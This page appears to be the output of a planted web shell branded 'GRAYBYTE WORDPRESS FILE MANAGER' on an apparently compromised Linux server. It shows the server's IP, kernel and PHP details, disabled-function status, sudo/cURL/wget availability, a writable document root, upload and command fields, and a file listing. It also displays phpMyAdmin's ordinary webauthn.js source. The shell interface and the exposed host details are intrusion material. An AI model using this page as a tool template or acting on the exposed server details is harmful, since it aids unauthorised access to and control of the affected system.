GRAYBYTE WORDPRESS FILE MANAGER1395

Server IP : 3.104.188.249 / Your IP : 216.73.217.141
System : Linux ip-172-26-1-242 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
PHP Version : 8.3.31
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : ON | Pkexec : OFF
Directory : /usr/share/phpmyadmin/js/src/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/phpmyadmin/js/src//webauthn.js
/**
 * @param {ArrayBuffer} buffer
 *
 * @return {string}
 */
const arrayBufferToBase64 = buffer => {
    const bytes = new Uint8Array(buffer);
    let string = '';
    for (const byte of bytes) {
        string += String.fromCharCode(byte);
    }

    return window.btoa(string);
};

/**
 * @param {string} string
 *
 * @return {Uint8Array}
 */
const base64ToUint8Array = string => {
    return Uint8Array.from(window.atob(string), char => char.charCodeAt(0));
};

/**
 * @param {JQuery<HTMLElement>} $input
 *
 * @return {void}
 */
const handleCreation = $input => {
    const $form = $input.parents('form');
    $form.find('input[type=submit]').hide();

    const creationOptionsJson = $input.attr('data-creation-options');
    const creationOptions = JSON.parse(creationOptionsJson);

    const publicKey = creationOptions;
    publicKey.challenge = base64ToUint8Array(creationOptions.challenge);
    publicKey.user.id = base64ToUint8Array(creationOptions.user.id);
    if (creationOptions.excludeCredentials) {
        const excludedCredentials = [];
        for (let value of creationOptions.excludeCredentials) {
            let excludedCredential = value;
            excludedCredential.id = base64ToUint8Array(value.id);
            excludedCredentials.push(excludedCredential);
        }
        publicKey.excludeCredentials = excludedCredentials;
    }

    // eslint-disable-next-line compat/compat
    navigator.credentials.create({ publicKey: publicKey })
        .then((credential) => {
            const credentialJson = JSON.stringify({
                id: credential.id,
                rawId: arrayBufferToBase64(credential.rawId),
                type: credential.type,
                response: {
                    clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON),
                    attestationObject: arrayBufferToBase64(credential.response.attestationObject),
                }
            });
            $input.val(credentialJson);
            $form.trigger('submit');
        })
        .catch((error) => Functions.ajaxShowMessage(error, false, 'error'));
};

/**
 * @param {JQuery<HTMLElement>} $input
 *
 * @return {void}
 */
const handleRequest = $input => {
    const $form = $input.parents('form');
    $form.find('input[type=submit]').hide();

    const requestOptionsJson = $input.attr('data-request-options');
    const requestOptions = JSON.parse(requestOptionsJson);

    const publicKey = requestOptions;
    publicKey.challenge = base64ToUint8Array(requestOptions.challenge);
    if (requestOptions.allowCredentials) {
        const allowedCredentials = [];
        for (let value of requestOptions.allowCredentials) {
            let allowedCredential = value;
            allowedCredential.id = base64ToUint8Array(value.id);
            allowedCredentials.push(allowedCredential);
        }
        publicKey.allowCredentials = allowedCredentials;
    }

    // eslint-disable-next-line compat/compat
    navigator.credentials.get({ publicKey: publicKey })
        .then((credential) => {
            const credentialJson = JSON.stringify({
                id: credential.id,
                rawId: arrayBufferToBase64(credential.rawId),
                type: credential.type,
                response: {
                    authenticatorData: arrayBufferToBase64(credential.response.authenticatorData),
                    clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON),
                    signature: arrayBufferToBase64(credential.response.signature),
                    userHandle: arrayBufferToBase64(credential.response.userHandle),
                }
            });
            $input.val(credentialJson);
            $form.trigger('submit');
        })
        .catch((error) => Functions.ajaxShowMessage(error, false, 'error'));
};

AJAX.registerOnload('webauthn.js', function () {
    if (
        ! navigator.credentials
        || ! navigator.credentials.create
        || ! navigator.credentials.get
        || ! window.PublicKeyCredential
    ) {
        Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error');

        return;
    }

    const $creationInput = $('#webauthn_creation_response');
    if ($creationInput.length > 0) {
        handleCreation($creationInput);
    }

    const $requestInput = $('#webauthn_request_response');
    if ($requestInput.length > 0) {
        handleRequest($requestInput);
    }
});

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 27 2026 03:19:02
root / root
0755
codemirror
--
May 27 2026 03:19:01
root / root
0755
database
--
May 27 2026 03:19:02
root / root
0755
designer
--
May 27 2026 03:19:02
root / root
0755
jqplot
--
May 27 2026 03:19:01
root / root
0755
server
--
May 27 2026 03:19:02
root / root
0755
setup
--
May 27 2026 03:19:02
root / root
0755
table
--
May 27 2026 03:19:02
root / root
0755
transformations
--
May 27 2026 03:19:02
root / root
0755
ajax.js
33.956 KB
February 07 2023 21:35:11
root / root
0644
chart.js
18.289 KB
February 07 2023 21:35:11
root / root
0644
common.js
5.139 KB
February 07 2023 21:35:11
root / root
0644
config.js
25.604 KB
February 07 2023 21:35:11
root / root
0644
console.js
56.875 KB
February 07 2023 21:35:11
root / root
0644
cross_framing_protection.js
0.413 KB
February 07 2023 21:35:11
root / root
0644
doclinks.js
18.542 KB
February 07 2023 21:35:11
root / root
0644
drag_drop_import.js
14.276 KB
February 07 2023 21:35:11
root / root
0644
error_report.js
10.337 KB
February 07 2023 21:35:11
root / root
0644
export.js
34.371 KB
February 07 2023 21:35:11
root / root
0644
export_output.js
0.393 KB
February 07 2023 21:35:11
root / root
0644
functions.js
162.855 KB
February 07 2023 21:35:11
root / root
0644
gis_data_editor.js
14.37 KB
February 07 2023 21:35:11
root / root
0644
home.js
5.956 KB
February 07 2023 21:35:11
root / root
0644
import.js
6.021 KB
February 07 2023 21:35:11
root / root
0644
indexes.js
30.497 KB
February 07 2023 21:35:11
root / root
0644
jquery.sortable-table.js
11.024 KB
February 07 2023 21:35:11
root / root
0644
keyhandler.js
2.222 KB
February 07 2023 21:35:11
root / root
0644
makegrid.js
97.521 KB
February 07 2023 21:35:11
root / root
0644
menu_resizer.js
6.426 KB
February 07 2023 21:35:11
root / root
0644
multi_column_sort.js
1.341 KB
February 07 2023 21:35:11
root / root
0644
name-conflict-fixes.js
0.043 KB
February 07 2023 21:35:11
root / root
0644
navigation.js
58.817 KB
February 07 2023 21:35:11
root / root
0644
normalization.js
28.835 KB
February 07 2023 21:35:11
root / root
0644
ol.mjs
1.026 KB
February 07 2023 21:35:11
root / root
0644
page_settings.js
2.006 KB
February 07 2023 21:35:11
root / root
0644
replication.js
3.714 KB
February 07 2023 21:35:11
root / root
0644
shortcuts_handler.js
3.724 KB
February 07 2023 21:35:11
root / root
0644
sql.js
39.279 KB
February 07 2023 21:35:11
root / root
0644
u2f.js
3.394 KB
February 07 2023 21:35:11
root / root
0644
webauthn.js
4.344 KB
February 07 2023 21:35:11
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF